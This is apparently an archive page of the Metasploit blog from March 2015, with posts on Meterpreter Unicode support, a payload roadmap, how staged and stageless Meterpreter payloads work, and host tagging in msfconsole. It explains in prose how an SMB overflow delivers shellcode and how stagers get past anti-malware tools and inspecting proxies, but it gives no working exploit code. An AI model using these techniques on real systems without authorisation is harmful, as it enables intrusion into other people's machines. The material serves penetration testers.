Skip navigation
All Places > Metasploit > Blog > 2015 > March


If you've been following along, you'll have noticed that we published just about a post a day here this week, which makes my job of bringing the weekly update to you, dear reader, that much easier. So, I'll keep this week's update pretty short. Here's a link farm covering what was discussed from Joe, OJ, sinn3r, and HD. They're all really fun and informative reads from fun and informative people, as you'd expect.



Kali Dev Docs

Also this week, we're deepening our commitment to the Kali Linux user community by overhauling our Metasploit Development Environment Setup docs. If you're a habitual Kali hacker, we now have a pretty well documented means to get you up to speed with a modern Metasploit dev environment. It's been a long time coming, and replaces the old wiki completely.


Once the tires are sufficiently kicked on this collection of copy-pasta bashisms, we're going to get it all nicely packaged up as a one of those new-fangled DevOpsish deploy scripts, and it should work for pretty much any Debian-based distribution.


No, it's not a DNS Hijack

hacker.jpgFinally, if all goes well over the next few days, you should see an entirely new platform for all our bloggery, discussion boards, and shameless trolling. You can see the note from Community Manager Maria Varmazis on the welcome page today. I'm pretty excited about the move, scheduled for March 31, 2015.


What this all means for you is, when you get the password reset message from, you can rest assured that it's (probably) not a phishing attempt, a DNS hijack, or a timezone-agnostic April Fool's joke. It's really us, I swear. I mean, what's more convincing than an unsigned, unauthenticated, unsolicited reset request, pointing to a website that's running an entirely different backend from what you're accustomed to? Totes legit. (:


In an effort to assure you that this is a real change and not a trick, I have signed this statement over on GitHub with my public key (as asserted by Feel free to verify it with your favorite GPG/PGP signature authentication scheme -- try curl that-raw-gist-link | gpg --verify.


Of course, maybe this is all part of the ruse. There is really no end to paranoia, if you care to delve deep enough.


New Modules

Since the last Wrapup (diffs here), we have nine new modules: five exploits and four Post/Aux modules. Note that we've also renamed five WordPress-based exploit modules, so I've added those to a special section, since they will also appear to be "new." If you're using those in a scripted way, like a resource script or Task Chain or something, you'll want to update your script to pick the new ones. Otherwise, they're unchanged.


Exploit modules


Auxiliary and post modules

Renamed modules

A short, mostly-accurate history of character encodings


In the beginning, when you wanted to use a computer to store text, there were not many options - you inherited something from punchcards like EBCDIC or invented something convenient and unique to your system. Computers did not need to talk to each other, so there was not much point in standardizing between vendors. Things were pretty simple.


Then, there came the need for computers and vendors to interoperate and communicate. Thus, ASCII and later some of its cousins like ISCII, VISCII, and YUSCII were born. And now, large islands of computers, teletypes, modems, etc. could communicate with each other. ASCII only defined the lower 7 bits of a character, so other non-english encodings frequently used the upper half to define the extra language-specific characters. Things were a little confusing on the edges, but largely compatible, as long as you stuck to the lower 7-bits.


To deal with alternate languages MS-DOS, OS/2 and 16-bit Windows used a concept called code pages to define how the display characters from different languages. This was somewhat consistent as long as you stuck to Microsoft products (they were not a real standard), and as long as you did not need to look at more than one language at a time. Of course, there was still a limit on the number of characters one can represent with the extra half-byte in ASCII. Various multi-byte 'encodings' like Big5 and Shift JIS were invented to represent eastern languages like Chinese and Japanese, which can have thousands of characters. These were all largely incompatible and still did not work if one wanted to use more than one language. The term 'mojibake' describes some of the hilarious results that can occur when incompatible encodings are interpreted the wrong way. Things started getting really confusing.


Eventually, a new standard called Unicode was born to deal with the mess of these incompatible language encodings.  It defined the concept of code points, which are numerical representations of all the characters, ligatures, symbols, and other doodads from the world's languages, along with ways to store and transmit them between computers.


Fast forward to the present: if you're an Android, iOS, Mac, Linux, BSD, or Unix user, you're probably used to Unicode working out of the box. This is thanks to a simple exchange and encoding standard called UTF-8. Being fully compatible with ASCII text, it does not necessarily require a lot of special support from existing programs in order to work. This is especially true in languages like C, where a UTF-8 string looks just like a C string. Sure, concepts like 'uppercase' and 'isalpha' take on new meaning and require thousands of lines of code to get right, but it is generally possible to write a program that ignores the concept of Unicode but still works with it without issues with UTF-8 strings.


Now, let's go back to around the time that the Unicode standard was born. Prior to UTF-8 existing, there was an encoding standard called UCS-2 that used 16-bit words (the WCHAR or wide character of you have done any Windows programming) to represent international characters. This had benefits for efficiency: doing things like finding the number of characters in a UCS-2 string is just as easy as a traditional C string. The designers of Microsoft Windows NT decided to adopt this fledgling standard and designed the whole system to be compatible with UCS-2. Of course, to make it compatible with all the C code in the world that did not understand wide characters and still wanted to use code pages and weird encodings, Windows also was designed with a compatibility layer that supports those too. Why 2 bytes? Well, 4 was seen as too much wasted space, and after all, 65535 characters should be enough for anyone.


As you can probably guess, it did not take long to determine that 16 bits was not actually sufficient to actually encode the world's character sets. Even efforts to merge common Japanese and Chinese characters, called Han Unification, did not yield enough space to represent all of the known characters (to say nothing of Emoji   !)


So, the Unicode standard grew, Windows switched to a new UTF-16 encoding which allowed using multiple 16-bit words to represent the extended characters. Unfortunately, UTF-16 that has none of the speed benefits of UCS-2 and none of the compatibility or size benefits of UTF-8. Effectively, internationalization in Windows is based on a mixture of different encoding standards, old, new and transitional, where programs can opt in or out of seeing all characters by explicitly enabling Unicode, or only some by living in an ASCII or code-paged world.


And today


Where does this tie in to the Metasploit Framework? Meterpreter now has Unicode Support on Windows. Why so long in coming? Effectively, Meterpreter was originally built as an ASCII-native C program that uses byte-size characters, taking advantage of the legacy support for ASCII and code pages in Windows. Flipping the switch wholesale to UTF-16 would break a number of things. The Ruby language (which the Metasploit Framework is based on) has gone through some growing pains as well with Unicode, but it is now a stable and first-class citizen.


Thankfully, since UTF-8 support in Ruby 2 is actually very good (some might say over-zealous!), and since Meterpreter was already dealing in C strings, switching to UTF-8 was largely painless. In fact, once the Unicode filters were turned off in the Metasploit Framework, the Posix, PHP and Python meterpreters worked largely unmodified. On Windows, some string gymnastics are applied to convert from UTF-8 on the wire to UTF-16 which Windows is now based on. The Java language's support for Unicode largely mirrors Windows (it uses UTF-16 internally), but there is a Pull Request to add support there as well.


Here are some examples of its usage - it is largely transparent:


meterpreter > ls



Listing: e:\metasploit-framework\mytest\test




Mode              Size  Type  Last modified              Name

----              ----  ----  -------------              ----

40777/rwxrwxrwx   102   dir   2015-03-20 15:43:52 -0500  .

40777/rwxrwxrwx   1564  dir   2015-03-23 09:50:17 -0500  ..

100666/rw-rw-rw-  15    fil   2015-03-17 02:50:27 -0500  プロトタイプ.txt2



meterpreter > mv プロトタイプ.txt2 ʇıoʃdsɐʇǝW.txt

meterpreter > ls



Listing: e:\metasploit-framework\mytest\test




Mode              Size  Type  Last modified              Name

----              ----  ----  -------------              ----

40777/rwxrwxrwx   102   dir   2015-03-24 09:42:53 -0500  .

40777/rwxrwxrwx   1564  dir   2015-03-23 09:50:17 -0500  ..

100666/rw-rw-rw-  15    fil   2015-03-17 02:50:27 -0500  ʇıoʃdsɐʇǝW.txt


As a side note, the ls command gained a few new tricks of its own, such as viewing Windows 'Short' names for compatibility with older operating systems and MS-DOS:


meterpreter > ls -x c:\



Listing: c:\




Mode              Size       Type  Last modified              Short Name  Name

----              ----       ----  -------------              ----------  ----

40777/rwxrwxrwx   0          dir   2015-02-19 03:31:32 -0600  $SYSRE~1    $SysReset

40777/rwxrwxrwx   0          dir   2013-08-22 03:45:52 -0500  DOCUME~1    Documents and Settings

40555/r-xr-xr-x   0          dir   2015-03-17 04:29:10 -0500  PROGRA~1    Program Files

40555/r-xr-xr-x   0          dir   2015-03-19 10:48:07 -0500  PROGRA~2    Program Files (x86)

40777/rwxrwxrwx   0          dir   2015-03-18 08:21:01 -0500  PROGRA~3    ProgramData

40777/rwxrwxrwx   0          dir   2015-03-24 06:57:11 -0500  SYSTEM~1    System Volume Information

40777/rwxrwxrwx   0          dir   2015-03-17 04:33:11 -0500  METASP~1    metasploit

As well as new sorting options.


meterpreter > ls -h

Usage: ls [dir] [-x] [-S] [-t] [-r]

   -x Show short file names

   -S Sort by size

   -t Sort by time modified

   -r Reverse sort order


There are still other areas of the Meterpreter we are looking at to improve Unicode support, such as registry access and user enumeration, but this is a good first step.

Have fun using Unicode in meterpreter. A big thanks to OJ, HD and @zeroSteiner and @schierlm for contributing fixes, testing time and reviews.

The Survey


One month ago we asked the community for feedback about how they use Metasploit and what they want to see in the Meterpreter payload suite going forward. Over the course of a week we received over 400 responses and over 200 write-in suggestions for new features. We have spent the last month parsing through your responses, identifying dependencies, and actively delivering new features based on your requests. These requests covered 20 different categories:


General Feedback

Metasploit Framework FeaturesMetasploit RPC API FeedbackThe Antivirus Ate My Payload
Meterpreter Platform SupportMimikatz IntegrationMeterpreter PivotingPrivilege Escalation
Remote File AccessMeterpreter FeaturesMetepreter Stager SupportMeterpreter Transport Flexibility
Meterpreter HTTP Transport OptionsMeterpreter Proxy SupportCommunication ProtectionCommunications Evasion
Session HandlersSession ReliabilityAndroid Meterpreter FeaturesPayload Generation


We merged similar requests, removed duplicate items, and reworded many of the suggestions so far. For the issues specific to Meterpreter, you can now find them listed on the Meterpreter Wishlist. If you don't see your feedback listed, it was either merged into another item, or wasn't Meterpreter specific (Metasploit features, AV feedback, RPC API feedback, etc).


After parsing through these, we grouped up similar items, figured out the missing dependencies, started building out a rough plan for 2015, and got down to business. Over the last two weeks we have made some serious progress, mostly focused on the work that has to be done before we can tackle the bigger features on this list. The wishlist items marked [DONE] were the result of this first sprint while the rest of the items listed as [IN PROGRESS] are being actively worked on by either myself, OJ Reeves, or Brent Cook. While there is no realistic chance that we can get to every feature that was submitted, we are going to try to build out enough supporting functionality that the community can tackle the wider group of features with minimum pain. If something jumps out that you want to work on, please join the IRC channel and see if there are any blocking issues before diving in. Once you have a green light, send us a pull request once you are ready for feedback. If you can't contribute, no worries, keep reading for what is done so far, and where we are headed.



Attacks Have Changed


The Metasploit Project started in 2003 with a broad goal of sharing information about exploit techniques and making the development of new security tools much easier. This was a time when shellcode golf was the name of the game, SEH overwrites had hackers yelling "POP, POP, RET!", and databases of opcodes at static addresses made exploit development possible for systems you didn't even have. Fast-forward a decade and exploit mitigations at the OS level have made traditional exploit methods obsolete and complicated reliable remote exploitation; at least for memory corruption vulnerabilities. At the same time, anti-virus tools, anti-malware network gateways, and SSL-inspecting web proxies have become a thorn in the side of many professional penetration testers.


This shift away from memory corruption vulnerabilities hasn't decreased the number of compromises, nor has the availability of new security technologies, but the way networks get compromised has changed. As operating system and compiler vendors made memory corruption vulnerabilities more complicated on end-user and server platforms, attackers have shifted to the weakest links, which are typically the actual employees, their devices, and their passwords. Metasploit has continued to evolve to support these use cases, with a focus on client-side applications, web applications, embedded devices, and attacking the credentials themselves. The one area where Metasploit hasn't changed however, has been payloads.


For the better part of 12 years, Metasploit payloads and encoders have had one primarily goal: fit inside of the exploits. This works great when Metasploit users are getting shells through memory corruption flaws, but doesn't make a lot of sense when attacks can deliver a multi-megabyte executable or JAR file onto the target. As a result, Metasploit payloads have been artificially constrained in terms of functionality and error handling. That has now changed. Payloads and encoders can now opt-in to new features, better error handling, and network-level evasion when they have the room for it. This is now enabled by default when using msfvenom (specificy -s to tell the payload how much space it can use).


Separate, but related, was the slow startup time of the Metasploit Console (msfconsole). A few months ago, many users had to wait up to 30 seconds to use msfconsole on a modern system. After the switch to Ruby 2.1.5, this dropped to under 10 seconds for most users. Most recently, payloads now cache their static size, allowing us to use Metasm to generate and compile assembly on the fly, and knocking quite a bit of processing out of the startup time. Running the latest version of msfconsole on a SSD-enabled system with Ruby 2.1.5 can result in startup times between 1 and 5 seconds.


These two changes pave the way to solving the number one piece of feedback: Payload size doesn't matter that much anymore. Many people use Metaslpoit payloads without exploits, either by delivering the payloads manually, or combining them with third-party tools like SET, and these payloads should support advanced options and handle network errors gracefully. Metasploit payloads now selectively enable functionality based on your use case and the available space.



Sprint 1 Features


The features below were some of the first dependencies needed to really tackle the features requested in the survey. These are available in the Metasploit Framework master branch today and will be going out to Metasploit Pro, Metasploit Express, Metasploit Community, and Kali Linux users this week.


HTTP Stagers


The reverse_http and reverse_https in stagers have been around for a few years and they solve a number of problems related to session egress within corporate networks, but they were starting to get dusty. First of all, we continued to add new versions of these payloads to handle specific use cases, like proxies, proxy authentication, and hopping through intermediate web services. We are now actively working on a complete refactor that merges all of this functionality into a smaller set of smarter payloads. In addition to bug fixes, better error handling, and size-aware feature selection, these payloads have been expanded with some new functionality:


Long URIs: The reverse_http and reverse_https stagers now use much longer URIs by default. The old default was to use a 5-byte URI, but these were starting to get blocked by a number of web proxies. The new default is use a random URI between 30 and 255 bytes.


WinHTTP: Borja Merino submitted a really nice set of reverse_winhttp and reverse_winhttps stagers. These stagers switch to the WinHTTP API (from WinInet), which helps bypass certain anti-malware implementations, and builds the base for a number of new features. The development started off as Borja's PR and eventually got rolled into the new Metasm base payload.


SSL Validation: SSL certificate verification is now available in the reverse_winhttps stager. You can enable this by generating a payload with the HandlerSSLCert option set to the file name of a SSL certificate (PEM format) and setting the StagerVerifySSLCert option to true. The Metasploit exploit or exploit/multi/handler listener should set these options to the same value. Once these are set, the stager will verify that the SSL certificate presented by the Metasploit listener matches the SHA-1 hash of the HandlerSSLCert certificate and will exit if they don't match. This is a great way to make sure that a SSL-inspecting proxy isn't monkeying with your session and provides stager-level authentication that is resistant to man-in-the-middle attacks, even if the target system has a malicious CA root certificate installed. If you want to make this apply to all future uses of reverse_winhttp, use the setg command in msfconsole to configure HandlerSSLCert and StagerVerifySSLCert, then save to make these the default.


We still have a lot more work to do on HTTP stagers, so keep an eye on ticket #4895 if you want to keep up on the latest changes.


Meterpreter SSL Verification


Updating the WinHTTP stagers to support SSL Verification is only part of the puzzle. OJ Reeves also delivered SSL certification validation in the Windows Meterpreter payloads. These can be enabled using the same HandlerSSLCert and StagerVerifySSLCert options as the stagers. If you set these within an exploit, the entire process is automatic, but if you are using exploit/multi/handler, be sure to set them both in the msfvenom generation (stageless or otherwise) as well as the listener. Note that verification occurs after the HTTP request has been sent. As a result you will get a "dead" session when the Meterpreter is enforcing this setting and doesn't see the right SSL certificate. We are looking into better solutions for this going forward.

Meterpreter "Stageless" Payloads


One often-requested feature was the ability to run Meterpreter without the shellcode stager. A project called Inmet (ultmet.exe) is best known for providing a stageless metsrv in the past, but this implementation wasn't as smooth as it should have been due to incompatibilities in the framework. Over the last two weeks, OJ Reeves has delivered an impressive approach to stageless Meterpreters and I strongly recommend that you check out his post on the topic. This is the first step to implement many of the advanced features requested in the survey.


Meterpreter Unicode (최고)


Nearly all Meterpreter payloads will support Unicode file and directory names, converting between UTF-8 and native string implementations as needed. If you used Metasploit outside of the US in the past, you may be familiar with the EnableUnicodeEncoding option in Meterpreter. Previously, this was set to true by default, and would translate garbled Unicode names into identifiers that looked like $U$-0xsomething. This made it possible to work with non-native encodings, but it wasn't much fun. Fortunately, so long as your Linux terminal supports UTF-8, this is no longer necessary. Windows users still need the EnableUnicodeEncoding crutch since Console2 doesn't implicitly support Unicode, but everyone else should be good to go for full Unicode support going forward.


Unicode is still  a work in process, but it is nearly complete across all Meterpreter payloads:


  • The Python and Windows Meterpreters have full Unicode support for file system operations.
  • The PHP Meterpreter has support only on non-Windows platforms due to API limitations.
  • The Java & Android Meterpreter have a pending pull request adding support for Windows and non-Windows.

Note that Unicode is not automatically translated for shell sessions (or shell channels in Meterpreter). This is a bit more complicated, but is on our radar for long-term support.


Meterpreter MS-DOS "short" Names


Meterpreter now displays MS-DOS 8.3 "short" names when you use the ls command with the -x parameter on Windows. This makes it easy to copy, rename, and generally manipulate a file or directory with an unwieldy name. A quick and easy win and really useful in a pinch.



Next Steps: April 2015


Our plans for the next month are centered around improving the Meterpreter code organization and build process, supporting unique embedded payload IDs (a precursor for universal listeners), improving the reliability and resilience of all Meterpreter transports, adding support for live transport switching to Meterpreter, and improving the usability of all of these features as we go. There is a ton of work to do, but these efforts will lay the groundwork for approaching the rest of the wishlist going forward. One of our goals is to maintain complete backwards compatibility with both old Metasploit installations and their associated payloads. More often than not this means taking two steps forward and one back as we make small incremental changes in quick succession. In addition to the fun part (the code), we will be updating the test suites and documentation as we go as well.



May 2015 and Beyond


We are looking at May as the time when we can start seriously considering BIG features. These may include remote scripting engines, enhanced pivoting, pluggable transports, and a deep dive into mobile device support. Figuring out what is going to fit and how to prioritize it is going to be driven by engineering challenges as much as community feedback and contributions. As attacks change, so will Metasploit, and the time has come for payloads to take the next big step.


Onward, through the pull requests!



Metasploit has long supported a mixture of staged and stageless payloads within its toolset. The mixture of payloads gives penetration testers a huge collection of options to choose from when performing exploitation. However, one option has been missing from this collection, and that is the notion of a stageless Meterpreter payload. In this post, I’d like to explain what this means, why you should care, and show how the latest update to Metasploit and Meterpreter provides this funky new feature as portended by Tod's last Wrapup post.


What is a staged payload?


A staged payload is simply a payload that is as compact as possible and performs the single task of providing the means for an attacker to upload something bigger. Staged payloads are often used in exploit scenarios due to the fact that binary exploitation often results in very little space for shellcode to be stored.


The initial shellcode (often referred to as stage0) may create a new connection back to the attacker’s machine and read a larger payload into memory. Once the payload has been received, stage0 passes control to the new, larger payload.


In Metasploit terms, this payload is called reverse_tcp, and the second stage (stage1) might be a standard command shell, or it might be something more complex, such as a Meterpreter shell or a VNC session. There are other staged options such as reverse_https and bind_tcp, both of which provide different transport options for opening the doorway for the second stage.


Exploitation (recap) with staged Meterpreter


Staged Meterpreter is Meterpreter as we currently know it. Every time we set PAYLOAD windows/meterpreter/… we are asking Metasploit to prepare a payload that is broken into two stages, the second of which gives us a Meterpreter session. For the benefit of those who aren’t familiar with the process of exploitation with staged payloads, let’s take a look at what goes on when we use this payload to exploit a Windows machine using ms08_067_netapi (feel free to skip this part if you know it already).


The following image is a representation of two machines, an attacker and a target. The former is running Metasploit with the ms08_067_netapi exploit configured to use a staged Meterpreter payload that has stage0 set to reverse_tcp using port 4444. The latter is an instance of Windows running a vulnerable implementation of SMB listening on port 445.

Screen Shot 2015-03-25 at 4.07.36 pm.png


When the payload is executed, Metasploit creates a listener on the correct port, and then establishes a connection to the target SMB service. Behind the scenes, when the target SMB service receives the connection, a function is invoked which contains a stack buffer that the attacking machine will overflow.

Screen Shot 2015-03-25 at 4.08.23 pm.png

The attacking machine then sends data that is bigger than the target expects. This data, which contains stage0 and a small bit of exploit-specific code, overflows the target buff. The exploit-specific code allows for the attacker to gain control over EIP and redirect process execution to the stage0 shellcode.

Screen Shot 2015-03-25 at 4.08.48 pm.png

At this point, the attacker has control of execution within the SMB service, but doesn’t really have the ability to do much else with it due to the size constraint. When stage0 (reverse_tcp) executes, it connects back to the attacker on the required port, which is ready and waiting with stage1. In the case of Meterpreter, stage1 is a DLL called metsrv.

Screen Shot 2015-03-25 at 5.51.44 pm.png

The metsrv DLL is then sent to the target machine through this reverse connection. This is what is happening when we see the “Sending stage ..” message in msfconsole.

Screen Shot 2015-03-25 at 5.52.54 pm.png

The 769356 bytes that is shown in the above image represents the entire metsrv DLL (bear in mind this is an older version of metsrv, and hence it's a bit smaller in this image than it is these days). Once this has been pushed to the target machine, the stage0 shellcode writes this into memory.

Screen Shot 2015-03-25 at 4.10.09 pm.png

Once stage1 is in memory, stage0 passes control to it by simply jumping to the location where the payload was written to. In the case of metsrv, the first 60(ish) bytes is a clever collection of shellcode that also looks similar to a valid DOS header. This shellcode, when executed, uses Reflective DLL Injection to remap and load metsrv into memory in such a way that allows it to function correctly as a normal DLL without writing it to disk or registering it with the host process. It then invokes DllMain() on this loaded DLL, and the Meterpreter that we know and love takes over.


From here, MSF pushes up two Meterpreter extension DLLs: stdapi and priv. Both of these are also reflectively loaded in the same way the original metsrv DLL was. At this point, Meterpreter is now ready and willing to take your commands.


What’s wrong with staged Meterpreter?


Staged Meterpreter, in scenarios like that shown above, is a wonderful thing and works very well. However, the are other scenarios for compromise where this approach is less than ideal.


In case you didn’t notice, in order to get a Meterpreter session running in the example scenario we uploaded the following:


  • stage0: large buffer of junk plus approximately 350b of shellcode.
  • stage1: metsrv DLL approximately 755kb.
  • stage2: stdapi DLL approximately 370kb.
  • stage3: priv DLL approximately 115kb.


This weighs in at a grand total of approximately 1,240kb! Not a small amount, particularly for those who aren’t on the local network.


The most common example of where this falls down is the case where penetration testers are in a low-bandwidth or high-latency environments and have pre-generated a stageled Meterpreter binary that is then hosted outside of the attacker’s machine. Assessment targets download and invoke this binary, which results in the attacker gaining a Meterpreter shell on the target machine.


The data or time cost of uploading metsrv, stdapi and priv for every single shell becomes unwieldy or outright impossible, even for a small number of shells. For large-scale compromise, via approaches such as GPO updates or SCCM packages, handling the volume of incoming connections at once can be bad enough; add the three DLL uploads to this mix and you have a recipe for lost shells and sadness. Nobody likes losing shells. Nobody likes sadness.


It’s hard to believe it possible, but in this case the following image could be considered a nightmare.

Screen Shot 2015-03-25 at 4.04.35 pm.png

In such a scenario, it would be better to have the ability to create a stage0 which includes metsrv and any number of Meterpreter extensions. This means that the payload already includes the important part of the Meterpreter functionality, along with all the features that the attacker might require. When invoked, the Meterpreter instance already has all it needs to function, and hence Metasploit doesn’t need to waste time or bandwidth performing the usual uploads that are required with the staged approach.


Stageless Meterpreter is exactly that. It is a binary that includes all of the required parts of Meterpreter, along with any required extensions, all bundled into one.


What does stageless Meterpreter look like?


As with the staged version, stageless Meterpreter payloads begin with a small bootstrapper. However, this bootstrapper looks very different. Staged Meterpreter payload bootstrappers contain shellcode that performs network communications in order to read in the second stage prior to invoking it. The stageless counterparts don't have this responsibility, as it is instead handled by metsrv itself. As a result, what we know as stage0 completely disappears.


Instead, that which is known as stage1 in staged Meterpreter land becomes the bootstrapper for the payload in stageless Meterpreter land. To make this clear, let's take a look at the process.


When creating the payload, Metasploit first reads a copy of the metsrv DLL into memory. It then overwrites the DLL's DOS header with a selection of shellcode that does the following:


  • Performs a simple GetPC routine.
  • Calculates the location of the ReflectiveLoader() function in metsrv.
  • Invokes the ReflectiveLoader() function in metsrv.
  • Calculates the location in memory which indicates the start of the list of pre-loaded extensions. This value is simply the location that immediately follows the end of metsrv.
  • Invokes DllMain() on metsrv, passing in DLL_METASPLOIT_ATTACH along with the pointer to the extensions list. This is where metsrv takes over.
  • When metsrv exits, the bootstrapper then calls DllMain() again with DLL_METASPLOIT_DETACH along with the selected EXITFUNC identifier. This is where metsrv exits using the appropriate method depending on what was chosen.


With this shellcode stub wired into the DOS header, Metasploit adds the entire binary blob to an in-memory payload buffer, and then iterates through the list of chosen extensions. For each extension that is specified, Metasploit does the following:


  • Loads the extension DLL into memory.
  • Calculates the size of the DLL.
  • Writes the size of the DLL as a 32-bit value to the end of payload buffer.
  • Writes the entire body of the DLL, as-is, to the end of the payload buffer.


Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of 0 (NULL) which indicates that the list of extensions has been terminated. This NULL value is what metsrv will look for when iterating through the list of extensions so that it knows when to stop.


The final payload layout looks like the following:

Screen Shot 2015-03-25 at 5.14.34 pm.png

This payload can be embedded in an exe file, encoded, thrown into an exploit (assuming there's room!), and who knows what else! The important thing is that we now have all of the bits that we need in the one payload.


How do I use stageless Meterpreter?


Firstly, it has a different name! It follows the same convention as all of the other staged vs stageless payloads:


Reverse TCPwindows/meterpreter/reverse_tcpwindows/meterpreter_reverse_tcp
Reverse HTTPSwindows/meterpreter/reverse_httpswindows/meterpreter_reverse_https
Bind TCPwindows/meterpreter/bind_tcpwindows/meterpreter_bind_tcp
Reverse TCP IPv6windows/meterpreter/reverse_ipv6_tcpwindows/meterpreter_reverse_ipv6_tcp


To create a payload using one of these babies, you use msfvenom just like you would any other payload. However, we haven’t yet updated the built-in templates to support the size that’s required (don’t worry, it’s coming soon). This just means that, for now, you have to provide your own template which has a .text section big enough.


To make a stageless payload that contains only metsrv we do the following:

Screen Shot 2015-03-25 at 3.57.36 pm.png

Here we’re making use of the Immunity Debugger program binary because it has a large enough .text section.


To add extensions to the payload, we can make use of the EXTENSIONS parameter, which takes a comma-separated list of extension names.

Screen Shot 2015-03-25 at 3.58.30 pm.png

With a payload created, we can set up a listener which will handle the connection using msfconsole.

Screen Shot 2015-03-25 at 4.03.31 pm.png

You’ll notice that the EXTENSIONS parameter isn’t set in the handler. This is because the handler isn’t responsible for them as they’re already in the payload binary.


Also note the lack of the “Sending stage …” message! This shows that the upload of stage1 didn’t happen as it’s not needed. If the payload that was invoked also contained stdapi and priv, then absolutely no uploads have occurred at this point.


Congratulations, you’re dancing with stageless Meterpreter!


We’re still in the process of finalising the Metasploit-side of how the pre-loaded extensions are managed. At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type use <extension> just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.


If you’re working with meterpreter_reverse_https, you’ll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can’t and won’t look any different to an old session that hasn’t been in touch with Metasploit for a while.


But wait, there’s more!


While working on this the Rapid7 team also worked on adding support for “authenticated sessions”. The first part of this was the work of the indomitable HD Moore. HD worked from Borja Merino's port of the existing WinInet stagers to WinHTTP, and added a small bit of shellcode to the stager that actually validates the SSL certificate hash when communicating with Metasploit. If the hash doesn’t match “Ken sent me” an expected value, the stager simply refuses to continue talking. This is a user-configurable option, so if you don’t want validation, you don’t have to have it.


This was awesome work and made it a super easy job to do the same thing in Meterpreter. Off the back of efforts from HD and Borja, we did the exact same thing to Meterpreter. It now talks HTTP(S) via the WinHTTP API and performs the same validation check (if configured) each time it talks to Metasploit.


This apparently small but very powerful feature is a huge win for those working with sensitive clients who would like to make sure that shells only work when talking to authorised parties.


Closing remarks


It’s early days for stageless Meterpreter payloads, and we have plenty left to do (eg. x64 bit support, which is coming very soon). But I’m excited about the steps we’ve taken so far. These changes will help in a number of situations that our users have been suffering under and we hope you all see and enjoy the benefits.


I'd like to give a big thanks to HD here for doing the hard yards, in ASM no less, and making the SSL verification work in Meterpreter work so easy, as well as just being super supportive and helpful in general. Also I have a big hat-tip to Brent Cook who's been a huge help with the Meterpreter work and the cleaning up of my trail of mess. Thanks again to Borja for his efforts with the initial WinHTTP stager work.


Be sure to what this space for future news and improvements. Comments and feedback are welcome.


OJ Reeves - @TheColonial

Hello my fellow hackers,


Tag-youre-it.jpgFor today's blog post, I'd like to talk about host tagging a little bit in Metasploit. If you are a penetration tester, a CTF player, or you just pop a lot of shells like a rock star, then perhaps this will interest you. If you have never used this kind of feature, then hopefully this blog post will bring you a new idea on how to approach host management.


So what is host tagging? Well, the idea is simple really. It's a way to label your targets and make them more meaningful to you. As a professional, you probably know how painful it is to break into a large network and deal with so many IP addresses, because let's be honest, you can't always remember what they are. Instead of digging through IPs and find what you're looking for, it would be much nicer to ask your tool to search for "all the sales people" or "all domain controllers" or "all android devices", etc. This will significantly improve your work efficiency, and you can use the extra time for more pwnage. If you're a CTF player, sometimes you will find this useful too.


The practice of host tagging is actually nothing new, but it was never in Metasploit Framework until now. Let's talk about how to use it.


To begin, make sure your Framework is up to date. Running the msfupdate utility or git pull (if you checked out Framework from Github) will get you there. Go ahead and start msfconsole, and first off let's look at the host command's help menu because this is where we implemented tagging:


Screen Shot 2015-03-24 at 2.07.32 PM.png


As you can see, the -t (or --tag) option is for tagging. It is important to know that your tag is case-sensitive, and should not contain any whitespace characters, ideally just keep it alphanumeric. In addition, you will probably also need to combine it with other options such as -R (allows you to specify a range of hosts), the -S (allows you to search hosts), and -d (to delete a tag).


Let's cover some common usage scenarios:


Tagging a host or a range of hosts


Syntax: hosts -R [IP Range] -t "New_Tag"




Screen Shot 2015-03-24 at 3.25.40 PM.png


Listing hosts with the tags column


Technically speaking, the tags column is treated as a virtual column, and virtual columns aren't displayed by default. So in order to see what tags are used, you will have to use the -c option and specify all the columns you want to see. Again, you can use the -h menu to see what columns are available.


Syntax: hosts -c 'address,name,os_name,os_flavor,os_sp,info,comments,tags'




Screen Shot 2015-03-24 at 3.27.26 PM.png


Searching hosts with a specific tag


You probably didn't realize this, but by default, the hosts command is already in search mode. The -S option is just adding a filter to that search. When you use -S, here's what happens under the hood: first your input will be converted to a regex and be used to find matching data in different columns. The same input will also be used as a string to look for tags, not a regex search.


Also, by default the search results will not display the tags column (again, because it's a virtual column). So if you want to see that, make sure to use the -c option, too.


Syntax: hosts -S [tag name]




Syntax: hosts -S [tag name] -c 'address,name,os_name,os_flavor,os_sp,info,comments,tags'




Screen Shot 2015-03-24 at 3.59.36 PM.png


Deleting a tag


This is pretty self-explanatory


Syntax: hosts -d -t "tag"



Deleting a tag for a specific range of hosts

This is handy if you only want to remove the tag of some hosts, without going through the trouble of deleting them all and retag them.


Syntax: hosts -R [IP range] -d -t "tag"

Metasploit Pro: Tagging on Steroids



Truth be told, Metasploit Pro has had host tagging for years, and can do even more. If you are a Pro user, mouse over Analysis, click on Hosts, and then you should see the TAGS column like the following:


Screen Shot 2015-03-24 at 4.25.09 PM.png


Note that these tags are clickable. When you click one, the interface will only show hosts with that tag. If there are a lot of hosts, then there will be pages. By default there's 100 hosts each page, and that is user-configurable, which is a handy feature if you have a lot of hosts and you don't want it to take forever to load all of them in one single page.


To tag one or more hosts, first select the hosts - you can select all by clicking on the first check box, or you can use the shift key to select some of them like you do with files. And then click on the Tag button, which will bring you a Tag editing menu:


Screen Shot 2015-03-24 at 5.36.41 PM.png


In this menu, you can add as many tags as you want. You can also remove them.


If you wish to manage your tags for an individual host, you can just click on that IP, and then the tags for it will be on the right:


Screen Shot 2015-03-24 at 5.43.10 PM.png


If you wish to manage all the tags you've created, then you can mouse over Analysis again, click on Tags, and then you should see this:


Screen Shot 2015-03-24 at 5.52.54 PM.png


In here, you can delete tags, add a description, or tell Pro to use them for reporting.


Another neat trick with Pro is that if for some reason you don't like clicking things and you actually like typing better, then you can bring up msfconsole by first enabling "Debugging" under Global Settings. And then when you're looking at the hosts, press: [CTRL]+[~], you will get this:


Screen Shot 2015-03-24 at 6.07.37 PM.png


And then at that point you can use the hosts command to tag. But remember you will need to refresh the page to see the results.


Metasploit Community and Express


Host tagging used to be a feature exclusively for Pro users. But soon this will open up to the Community and Express edition too so everybody can enjoy it. Please keep an eye on the upcoming updates.


Try Metasploit


